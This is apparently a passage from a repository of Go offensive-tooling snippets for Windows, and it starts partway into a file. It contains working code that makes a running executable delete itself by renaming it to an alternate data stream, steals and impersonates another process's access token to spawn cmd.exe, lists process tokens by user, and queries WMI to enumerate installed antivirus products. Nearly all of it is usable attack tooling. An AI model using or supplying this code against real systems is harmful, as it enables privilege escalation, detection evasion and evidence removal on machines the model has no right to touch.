"log" 7 | "os" 8 | "unsafe" 9 | ) 10 | 11 | //https://github.com/LloydLabs/delete-self-poc/blob/main/main.c 12 | //https://github.com/timwhitez/Doge-SelfDelete/blob/main/selfdel.go 13 | 14 | var ( 15 | kernel32 = windows.NewLazySystemDLL("kernel32.dll") 16 | rtlCopyMemory = kernel32.NewProc("RtlCopyMemory") 17 | ) 18 | 19 | // https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-file_rename_info 20 | type FILE_RENAME_INFO struct { 21 | Flags uint32 22 | RootDirectory windows.Handle 23 | FileNameLength uint32 24 | FileName [1]uint16 25 | } 26 | 27 | func openHandle(path string) (error, windows.Handle) { 28 | p, err := windows.UTF16PtrFromString(path) 29 | if err != nil { 30 | return err, 0 31 | } 32 | 33 | //https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea 34 | handle, err := windows.CreateFile( 35 | p, 36 | windows.DELETE, 37 | 0, 38 | nil, 39 | windows.OPEN_EXISTING, 40 | windows.FILE_ATTRIBUTE_NORMAL, 41 | 0, 42 | ) 43 | if err != nil { 44 | return err, 0 45 | } 46 | return nil, handle 47 | } 48 | 49 | func renameHandle(handle windows.Handle) error { 50 | DS_STREAM_RENAME := ":test" 51 | var fRename FILE_RENAME_INFO 52 | 53 | lpwStream, err := windows.UTF16PtrFromString(DS_STREAM_RENAME) 54 | if err != nil { 55 | return err 56 | } 57 | fRename.FileNameLength = uint32(unsafe.Sizeof(lpwStream)) 58 | 59 | //https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory 60 | _, _, err = rtlCopyMemory.Call( 61 | uintptr(unsafe.Pointer(&fRename.FileName)), 62 | uintptr(unsafe.Pointer(lpwStream)), 63 | unsafe.Sizeof(lpwStream), 64 | ) 65 | if err.Error() != "The operation completed successfully." { 66 | return err 67 | } 68 | fmt.Println("[*] RtlCopyMemory ok") 69 | 70 | //https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfileinformationbyhandle 71 | err = windows.SetFileInformationByHandle( 72 | handle, 73 | windows.FileRenameInfo, 74 | (*byte)(unsafe.Pointer(&fRename)), 75 | uint32(unsafe.Sizeof(fRename)+unsafe.Sizeof(lpwStream)), 76 | ) 77 | if err != nil { 78 | return err 79 | } 80 | fmt.Println("[*] SetFileInformationByHandle ok") 81 | return nil 82 | } 83 | 84 | func depositeHandle(handle windows.Handle) error { 85 | 86 | //https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-file_disposition_info 87 | type FILE_DISPOSITION_INFO struct { 88 | DeleteFile uint32 89 | } 90 | fDelete := FILE_DISPOSITION_INFO{} 91 | fDelete.DeleteFile = 1 92 | 93 | //https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfileinformationbyhandle 94 | err := windows.SetFileInformationByHandle( 95 | handle, 96 | windows.FileDispositionInfo, 97 | (*byte)(unsafe.Pointer(&fDelete)), 98 | uint32(unsafe.Sizeof(fDelete)), 99 | ) 100 | if err != nil { 101 | return err 102 | } 103 | fmt.Println("[*] SetFileInformationByHandle ok") 104 | return nil 105 | } 106 | func main() { 107 | ex, err := os.Executable() 108 | if err != nil { 109 | log.Fatal(err) 110 | } 111 | err, handle := openHandle(ex) 112 | if err != nil { 113 | log.Fatal(err) 114 | } 115 | fmt.Println("[*] Open file handler") 116 | fmt.Println("[*] Handle :", handle) 117 | 118 | err = renameHandle(handle) 119 | if err != nil { 120 | log.Fatal(err) 121 | } 122 | 123 | fmt.Println("[*] Rename file") 124 | err = windows.CloseHandle(handle) 125 | if err != nil { 126 | log.Fatal(err) 127 | } 128 | fmt.Println("[*] Close file handler") 129 | err, handle = openHandle(ex) 130 | if err != nil { 131 | log.Fatal(err) 132 | } 133 | fmt.Println("[*] Open file handler") 134 | fmt.Println("[*] Handle :", handle) 135 | err = depositeHandle(handle) 136 | if err != nil { 137 | log.Fatal(err) 138 | } 139 | fmt.Println("[*] Deposite file handle") 140 | err = windows.CloseHandle(handle) 141 | if err != nil { 142 | log.Fatal(err) 143 | } 144 | fmt.Println("[*] Close file handler") 145 | } 146 | -------------------------------------------------------------------------------- /token/impersonate.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fourcorelabs/wintoken" 6 | "golang.org/x/sys/windows" 7 | "log" 8 | "os" 9 | "path/filepath" 10 | "strconv" 11 | "unsafe" 12 | ) 13 | 14 | /* 15 | https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa 16 | https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 17 | */ 18 | 19 | var ( 20 | advapi32 = windows.NewLazySystemDLL("Advapi32.dll") 21 | impersonateLoggedOnUser = advapi32.NewProc("ImpersonateLoggedOnUser") 22 | createProcessWithTokenW = advapi32.NewProc("CreateProcessWithTokenW") 23 | ) 24 | 25 | const LOGON_WITH_PROFILE = 0x00000001 26 | 27 | func main() { 28 | if len(os.Args) != 2 { 29 | fmt.Println("USAGE: impersonate.exe ") 30 | return 31 | } 32 | 33 | pid, err := strconv.Atoi(os.Args[1]) 34 | if err != nil { 35 | log.Fatal("Invalid pid") 36 | } 37 | priv := []string{"SeIncreaseQuotaPrivilege", "SeAssignPrimaryTokenPrivilege", "SeDebugPrivilege"} 38 | t, err := wintoken.OpenProcessToken(0, wintoken.TokenPrimary) //pass 0 for own process 39 | if err != nil { 40 | log.Fatal("Error OpenProcessToken", err) 41 | } 42 | err = t.EnableTokenPrivileges(priv) 43 | if err != nil { 44 | log.Fatal("Error EnableTokenPrivileges", err) 45 | } 46 | fmt.Println("[*] Enable SeIncreaseQuotaPrivilege, SeAssignPrimaryTokenPrivilege, SeDebugPrivilege") 47 | fmt.Println("[*] Pid", pid) 48 | username, err := getUsername() 49 | if err != nil { 50 | log.Fatal("Error getUsername", err) 51 | } 52 | fmt.Println("[*] Username:", username) 53 | fmt.Println("[*] Get Token") 54 | token, err := getToken(pid) 55 | if err != nil { 56 | log.Fatal("Error getToken", err) 57 | } 58 | defer token.Close() 59 | fmt.Println("[*] Impersonate") 60 | err = impersonate(token) 61 | if err != nil { 62 | log.Fatal("Error impersonate", err) 63 | } 64 | username, err = getUsername() 65 | if err != nil { 66 | log.Fatal("Error getUsername", err) 67 | } 68 | fmt.Println("[*] Username:", username) 69 | fmt.Println("[*] Rev2self") 70 | err = rev2self() 71 | if err != nil { 72 | log.Fatal("Error rev2self", err) 73 | } 74 | username, err = getUsername() 75 | if err != nil { 76 | log.Fatal("Error getUsername", err) 77 | } 78 | fmt.Println("[*] Username:", username) 79 | fmt.Println("[*] Duplicate handle") 80 | dupToken, err := duplicateToken(token) 81 | if err != nil { 82 | log.Fatal("Error duplicateToken", err) 83 | } 84 | defer dupToken.Close() 85 | c := "C:\\Windows\\System32\\cmd.exe" 86 | fmt.Println("[*] Spawning process as impersonated user") 87 | err = createProcessWithToken(dupToken, c) 88 | if err != nil { 89 | log.Fatal("Error createProcessWithToken", err) 90 | } 91 | } 92 | 93 | func createProcessWithToken(token windows.Token, c string) error { 94 | si := new(windows.StartupInfo) 95 | pi := new(windows.ProcessInformation) 96 | 97 | var args *uint16 98 | args, err := windows.UTF16PtrFromString(c) 99 | if err != nil { 100 | return err 101 | } 102 | _, _, err = createProcessWithTokenW.Call( 103 | uintptr(token), 104 | uintptr(LOGON_WITH_PROFILE), 105 | uintptr(unsafe.Pointer(args)), 106 | uintptr(0), 107 | uintptr(0), 108 | uintptr(0), 109 | uintptr(0), 110 | uintptr(unsafe.Pointer(si)), 111 | uintptr(unsafe.Pointer(pi)), 112 | ) 113 | if err.Error() != "The operation completed successfully." { 114 | return err 115 | } 116 | return nil 117 | } 118 | 119 | func impersonate(token windows.Token) error { 120 | _, _, err := impersonateLoggedOnUser.Call(uintptr(token)) 121 | if err.Error() != "The operation completed successfully." { 122 | return err 123 | } 124 | return nil 125 | } 126 | 127 | func duplicateToken(token windows.Token) (windows.Token, error) { 128 | var dupliToken windows.Token 129 | err := windows.DuplicateTokenEx(token, windows.MAXIMUM_ALLOWED, nil, windows.SecurityImpersonation, windows.TokenPrimary, &dupliToken) 130 | if err != nil { 131 | return 0, err 132 | } 133 | return dupliToken, nil 134 | } 135 | 136 | func getToken(pid int) (windows.Token, error) { 137 | p := uint32(pid) 138 | handle, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, true, p) 139 | if err != nil { 140 | return 0, err 141 | } 142 | defer windows.CloseHandle(handle) 143 | var token = new(windows.Token) 144 | err = windows.OpenProcessToken(handle, windows.MAXIMUM_ALLOWED, token) 145 | if err != nil { 146 | return 0, err 147 | } 148 | return *token, nil 149 | } 150 | 151 | func rev2self() error { 152 | err := windows.RevertToSelf() 153 | if err != nil { 154 | return err 155 | } 156 | return nil 157 | } 158 | 159 | func getUsername() (string, error) { 160 | name := make([]uint16, 128) 161 | nameSize := uint32(len(name)) 162 | err := windows.GetUserNameEx(windows.NameSamCompatible, &name[0], &nameSize) 163 | if err != nil { 164 | return "", err 165 | } 166 | u := filepath.Base(windows.UTF16ToString(name)) 167 | return u, nil 168 | } 169 | -------------------------------------------------------------------------------- /token/list.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fourcorelabs/wintoken" 6 | "github.com/mitchellh/go-ps" 7 | "log" 8 | ) 9 | 10 | /* 11 | I'm not sure if I list all available correctly... But it work's :) 12 | */ 13 | 14 | func main() { 15 | priv := []string{"SeIncreaseQuotaPrivilege", "SeAssignPrimaryTokenPrivilege", "SeDebugPrivilege"} 16 | token, err := wintoken.OpenProcessToken(0, wintoken.TokenPrimary) //pass 0 for own process 17 | if err != nil { 18 | log.Fatal("Error OpenProcessToken", err) 19 | } 20 | err = token.EnableTokenPrivileges(priv) 21 | if err != nil { 22 | log.Fatal("Error EnableTokenPrivileges", err) 23 | } 24 | processList, err := ps.Processes() 25 | if err != nil { 26 | log.Fatal("Error Get process list", err) 27 | } 28 | fmt.Printf("%-15s%-15s%-11s%-11s%-12s%-10s\n", "Domain", "Username", "TokenType", "LogonType", "ProcessId", "Process") 29 | fmt.Printf("%-15s%-15s%-11s%-11s%-12s%-10s\n", "------", "--------", "---------", "---------", "---------", "-------") 30 | var tokenType string 31 | for _, p := range processList { 32 | t, _ := wintoken.OpenProcessToken(p.Pid(), wintoken.TokenPrimary) 33 | tokenType = "Primary" 34 | if t != nil { 35 | u, _ := t.UserDetails() 36 | if u.Username != "" { 37 | fmt.Printf("%-15s%-15s%-11s%-11d%-12d%-12s\n", u.Domain, u.Username, tokenType, u.AccountType, p.Pid(), p.Executable()) 38 | } 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /wmi/wmi.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/go-ole/go-ole" 6 | "github.com/go-ole/go-ole/oleutil" 7 | "log" 8 | ) 9 | 10 | // https://stackoverflow.com/questions/20365286/query-wmi-from-go 11 | func main() { 12 | err := ole.CoInitialize(0) 13 | if err != nil { 14 | log.Fatal("Error while initialize ole: ", err) 15 | } 16 | defer ole.CoUninitialize() 17 | 18 | unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator") 19 | if err != nil { 20 | log.Fatal("Error while CreatObject: ", err) 21 | } 22 | defer unknown.Release() 23 | 24 | wmi, err := unknown.QueryInterface(ole.IID_IDispatch) 25 | if err != nil { 26 | log.Fatal("Error while QueryInterface: ", err) 27 | } 28 | defer wmi.Release() 29 | 30 | // service is a SWbemServices 31 | serviceRaw, err := oleutil.CallMethod(wmi, "ConnectServer", nil, "root/SecurityCenter2") 32 | if err != nil { 33 | log.Fatal("Error while CallMethod: ", err) 34 | } 35 | service := serviceRaw.ToIDispatch() 36 | defer service.Release() 37 | 38 | // result is a SWBemObjectSet 39 | resultRaw, err := oleutil.CallMethod(service, "ExecQuery", "SELECT * FROM AntiVirusProduct") 40 | if err != nil { 41 | log.Fatal("Error while CallMethod: ", err) 42 | } 43 | result := resultRaw.ToIDispatch() 44 | defer result.Release() 45 | 46 | countVar, err := oleutil.GetProperty(result, "Count") 47 | if err != nil { 48 | log.Fatal("Error while GetProperty: ", err) 49 | } 50 | count := int(countVar.Val) 51 | 52 | var itemRaw *ole.VARIANT 53 | var asString *ole.VARIANT 54 | for i := 0; i < count; i++ { 55 | itemRaw, err = oleutil.CallMethod(result, "ItemIndex", i) 56 | if err != nil { 57 | log.Fatal("Error while CallMethod: ", err) 58 | } 59 | item := itemRaw.ToIDispatch() 60 | asString, err = oleutil.GetProperty(item, "displayName") 61 | if err != nil { 62 | log.Fatal("Error while CallMethod: ", err) 63 | } 64 | fmt.Println(asString.ToString()) 65 | } 66 | 67 | } 68 | --------------------------------------------------------------------------------